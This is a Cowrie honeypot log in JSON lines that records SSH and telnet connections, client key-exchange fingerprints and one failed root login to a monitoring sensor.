{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:18.390315Z","src_ip":"45.232.73.84","session":"6f9ca14fc4f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53208,"dst_ip":"10.17.0.5","dst_port":23,"session":"17809125c69f","protocol":"telnet","message":"New connection: 64.237.60.107:53208 (10.17.0.5:23) [session: 17809125c69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:18.398588Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:18.517615Z","src_ip":"45.232.73.84","session":"6f9ca14fc4f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpspassword","message":"login attempt [root/vpspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:19.058533Z","src_ip":"45.232.73.84","session":"6f9ca14fc4f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":57424,"dst_ip":"10.17.0.5","dst_port":23,"session":"b62aee594889","protocol":"telnet","message":"New connection: 45.77.199.58:57424 (10.17.0.5:23) [session: b62aee594889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:19.137929Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53222,"dst_ip":"10.17.0.5","dst_port":23,"session":"79b924f3f446","protocol":"telnet","message":"New connection: 64.237.60.107:53222 (10.17.0.5:23) [session: 79b924f3f446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:19.172896Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53234,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa05ec78bb24","protocol":"telnet","message":"New connection: 64.237.60.107:53234 (10.17.0.5:23) [session: aa05ec78bb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:19.327007Z"}
{"eventid":"cowrie.session.closed","duration":31.195947647094727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:19.419886Z","src_ip":"64.237.60.107","session":"1ade2b681dad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:20.187479Z","src_ip":"45.232.73.84","session":"6f9ca14fc4f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53246,"dst_ip":"10.17.0.5","dst_port":23,"session":"edcaab609ae3","protocol":"telnet","message":"New connection: 64.237.60.107:53246 (10.17.0.5:23) [session: edcaab609ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:20.232567Z"}
{"eventid":"cowrie.session.closed","duration":31.438886404037476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:20.465573Z","src_ip":"64.237.60.107","session":"414067f43f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":57438,"dst_ip":"10.17.0.5","dst_port":23,"session":"1162c85e2246","protocol":"telnet","message":"New connection: 45.77.199.58:57438 (10.17.0.5:23) [session: 1162c85e2246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:20.581822Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53262,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d30ef36a246","protocol":"telnet","message":"New connection: 64.237.60.107:53262 (10.17.0.5:23) [session: 3d30ef36a246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:20.866371Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53272,"dst_ip":"10.17.0.5","dst_port":23,"session":"659d14ce801a","protocol":"telnet","message":"New connection: 64.237.60.107:53272 (10.17.0.5:23) [session: 659d14ce801a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:21.241295Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53282,"dst_ip":"10.17.0.5","dst_port":23,"session":"04c542285dd6","protocol":"telnet","message":"New connection: 64.237.60.107:53282 (10.17.0.5:23) [session: 04c542285dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:21.480139Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53284,"dst_ip":"10.17.0.5","dst_port":23,"session":"62fbf65795e8","protocol":"telnet","message":"New connection: 64.237.60.107:53284 (10.17.0.5:23) [session: 62fbf65795e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:22.107991Z"}
{"eventid":"cowrie.session.closed","duration":30.578060150146484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:22.158939Z","src_ip":"64.237.60.107","session":"4bbeca7c18e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53296,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4d7bb6f3ad6","protocol":"telnet","message":"New connection: 64.237.60.107:53296 (10.17.0.5:23) [session: c4d7bb6f3ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:22.203175Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":57444,"dst_ip":"10.17.0.5","dst_port":23,"session":"161e103ed82d","protocol":"telnet","message":"New connection: 45.77.199.58:57444 (10.17.0.5:23) [session: 161e103ed82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:22.259708Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53306,"dst_ip":"10.17.0.5","dst_port":23,"session":"2990f7c57e3e","protocol":"telnet","message":"New connection: 64.237.60.107:53306 (10.17.0.5:23) [session: 2990f7c57e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:22.296108Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":57448,"dst_ip":"10.17.0.5","dst_port":23,"session":"12f70ec8ce80","protocol":"telnet","message":"New connection: 45.77.199.58:57448 (10.17.0.5:23) [session: 12f70ec8ce80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:22.408021Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53310,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6a5dea583a","protocol":"telnet","message":"New connection: 64.237.60.107:53310 (10.17.0.5:23) [session: 8b6a5dea583a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:22.414386Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53318,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bfc813f6740","protocol":"telnet","message":"New connection: 64.237.60.107:53318 (10.17.0.5:23) [session: 8bfc813f6740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:22.540539Z"}
{"eventid":"cowrie.session.closed","duration":31.28383755683899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:22.697490Z","src_ip":"64.237.60.107","session":"edb98228f90a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699355125427246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.061640Z","src_ip":"45.77.199.58","session":"1accae64aa8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53332,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ffca074b89","protocol":"telnet","message":"New connection: 64.237.60.107:53332 (10.17.0.5:23) [session: f9ffca074b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.086996Z"}
{"eventid":"cowrie.session.closed","duration":31.023404121398926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.112664Z","src_ip":"45.77.199.58","session":"1a35310705c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025148391723633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.117612Z","src_ip":"45.77.199.58","session":"080e95a72d1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53342,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ee2aa49f8b9","protocol":"telnet","message":"New connection: 64.237.60.107:53342 (10.17.0.5:23) [session: 9ee2aa49f8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.122396Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53344,"dst_ip":"10.17.0.5","dst_port":23,"session":"5936389f9566","protocol":"telnet","message":"New connection: 64.237.60.107:53344 (10.17.0.5:23) [session: 5936389f9566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.162622Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":57456,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e3fb679176e","protocol":"telnet","message":"New connection: 45.77.199.58:57456 (10.17.0.5:23) [session: 9e3fb679176e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.279197Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53350,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d116fdb02a","protocol":"telnet","message":"New connection: 64.237.60.107:53350 (10.17.0.5:23) [session: 90d116fdb02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.517066Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53362,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fb81fdced91","protocol":"telnet","message":"New connection: 64.237.60.107:53362 (10.17.0.5:23) [session: 8fb81fdced91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.522155Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53368,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ed79babd02","protocol":"telnet","message":"New connection: 64.237.60.107:53368 (10.17.0.5:23) [session: a5ed79babd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.679888Z"}
{"eventid":"cowrie.session.closed","duration":31.746766805648804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:23.776749Z","src_ip":"64.237.60.107","session":"b910885e7680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53370,"dst_ip":"10.17.0.5","dst_port":23,"session":"17793aab2cb6","protocol":"telnet","message":"New connection: 64.237.60.107:53370 (10.17.0.5:23) [session: 17793aab2cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:24.187907Z"}
{"eventid":"cowrie.session.closed","duration":31.136276960372925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:24.234676Z","src_ip":"64.237.60.107","session":"233f57555e2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":39372,"dst_ip":"10.17.0.5","dst_port":23,"session":"12db27849774","protocol":"telnet","message":"New connection: 45.77.199.58:39372 (10.17.0.5:23) [session: 12db27849774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:24.622624Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53380,"dst_ip":"10.17.0.5","dst_port":23,"session":"46643140aff1","protocol":"telnet","message":"New connection: 64.237.60.107:53380 (10.17.0.5:23) [session: 46643140aff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:24.852110Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53384,"dst_ip":"10.17.0.5","dst_port":23,"session":"52daa73e67e4","protocol":"telnet","message":"New connection: 64.237.60.107:53384 (10.17.0.5:23) [session: 52daa73e67e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:25.163546Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53396,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f0b3dca0ba","protocol":"telnet","message":"New connection: 64.237.60.107:53396 (10.17.0.5:23) [session: f9f0b3dca0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:25.287918Z"}
{"eventid":"cowrie.session.closed","duration":30.770600080490112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:25.377705Z","src_ip":"64.237.60.107","session":"d0b01000bfca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53408,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1047cf01dfe","protocol":"telnet","message":"New connection: 64.237.60.107:53408 (10.17.0.5:23) [session: b1047cf01dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:26.021772Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":39376,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7197abe6e2d","protocol":"telnet","message":"New connection: 45.77.199.58:39376 (10.17.0.5:23) [session: a7197abe6e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:26.139525Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":53410,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0d096ed5dcc","protocol":"telnet","message":"New connection: 64.237.60.107:53410 (10.17.0.5:23) [session: f0d096ed5dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:26.280238Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44160,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cd53f485b49","protocol":"telnet","message":"New connection: 64.237.60.107:44160 (10.17.0.5:23) [session: 0cd53f485b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:27.154027Z"}
{"eventid":"cowrie.session.closed","duration":30.95314645767212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:27.280040Z","src_ip":"64.237.60.107","session":"da8e852cc447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9fd85445f3a","protocol":"telnet","message":"New connection: 64.237.60.107:44162 (10.17.0.5:23) [session: b9fd85445f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:27.325101Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44174,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0e90a56e32d","protocol":"telnet","message":"New connection: 64.237.60.107:44174 (10.17.0.5:23) [session: d0e90a56e32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:27.555777Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":39382,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cfdecf76e49","protocol":"telnet","message":"New connection: 45.77.199.58:39382 (10.17.0.5:23) [session: 0cfdecf76e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:27.862436Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":39384,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecacaf44779b","protocol":"telnet","message":"New connection: 45.77.199.58:39384 (10.17.0.5:23) [session: ecacaf44779b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:28.220422Z"}
{"eventid":"cowrie.session.closed","duration":31.021852254867554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:28.227395Z","src_ip":"64.237.60.107","session":"66fcf414ea77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128784656524658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:29.237195Z","src_ip":"64.237.60.107","session":"906086085130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03746008872986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:29.261405Z","src_ip":"64.237.60.107","session":"823f65e10227","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44184,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd3dde3c3eb","protocol":"telnet","message":"New connection: 64.237.60.107:44184 (10.17.0.5:23) [session: 4bd3dde3c3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:29.329888Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44196,"dst_ip":"10.17.0.5","dst_port":23,"session":"7066e39dd5e5","protocol":"telnet","message":"New connection: 64.237.60.107:44196 (10.17.0.5:23) [session: 7066e39dd5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:29.555809Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44210,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf61db7543c","protocol":"telnet","message":"New connection: 64.237.60.107:44210 (10.17.0.5:23) [session: baf61db7543c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:29.899624Z"}
{"eventid":"cowrie.session.closed","duration":30.273935079574585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:30.038533Z","src_ip":"45.77.199.58","session":"e7acd3bdd4de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885473489761353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:30.047169Z","src_ip":"64.237.60.107","session":"5c53b40a2c4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44214,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a3d778300d","protocol":"telnet","message":"New connection: 64.237.60.107:44214 (10.17.0.5:23) [session: b1a3d778300d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:31.045894Z"}
{"eventid":"cowrie.session.closed","duration":31.071834564208984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:31.187979Z","src_ip":"64.237.60.107","session":"42c21e19e826","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44222,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e159b8aa054","protocol":"telnet","message":"New connection: 64.237.60.107:44222 (10.17.0.5:23) [session: 3e159b8aa054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:31.242431Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44232,"dst_ip":"10.17.0.5","dst_port":23,"session":"97de43ba0a82","protocol":"telnet","message":"New connection: 64.237.60.107:44232 (10.17.0.5:23) [session: 97de43ba0a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:31.248353Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44248,"dst_ip":"10.17.0.5","dst_port":23,"session":"1347601acbe4","protocol":"telnet","message":"New connection: 64.237.60.107:44248 (10.17.0.5:23) [session: 1347601acbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:31.254526Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44256,"dst_ip":"10.17.0.5","dst_port":23,"session":"8920bded19f6","protocol":"telnet","message":"New connection: 64.237.60.107:44256 (10.17.0.5:23) [session: 8920bded19f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:31.262422Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44266,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce059eb61006","protocol":"telnet","message":"New connection: 64.237.60.107:44266 (10.17.0.5:23) [session: ce059eb61006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:31.266364Z"}
{"eventid":"cowrie.session.closed","duration":30.906362771987915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:31.472244Z","src_ip":"64.237.60.107","session":"45272a2ec349","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44278,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d4124ad197b","protocol":"telnet","message":"New connection: 64.237.60.107:44278 (10.17.0.5:23) [session: 2d4124ad197b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:31.497059Z"}
{"eventid":"cowrie.session.closed","duration":30.90929865837097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:32.056111Z","src_ip":"45.77.199.58","session":"9b52d0c592d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44288,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d59e7c5d6ef","protocol":"telnet","message":"New connection: 64.237.60.107:44288 (10.17.0.5:23) [session: 7d59e7c5d6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:32.082544Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":39400,"dst_ip":"10.17.0.5","dst_port":23,"session":"4112e7c04e02","protocol":"telnet","message":"New connection: 45.77.199.58:39400 (10.17.0.5:23) [session: 4112e7c04e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:32.199476Z"}
{"eventid":"cowrie.session.closed","duration":31.113437175750732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:32.629894Z","src_ip":"64.237.60.107","session":"ccd17250a1a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44296,"dst_ip":"10.17.0.5","dst_port":23,"session":"da19628a69c2","protocol":"telnet","message":"New connection: 64.237.60.107:44296 (10.17.0.5:23) [session: da19628a69c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:14:32.845069Z"}
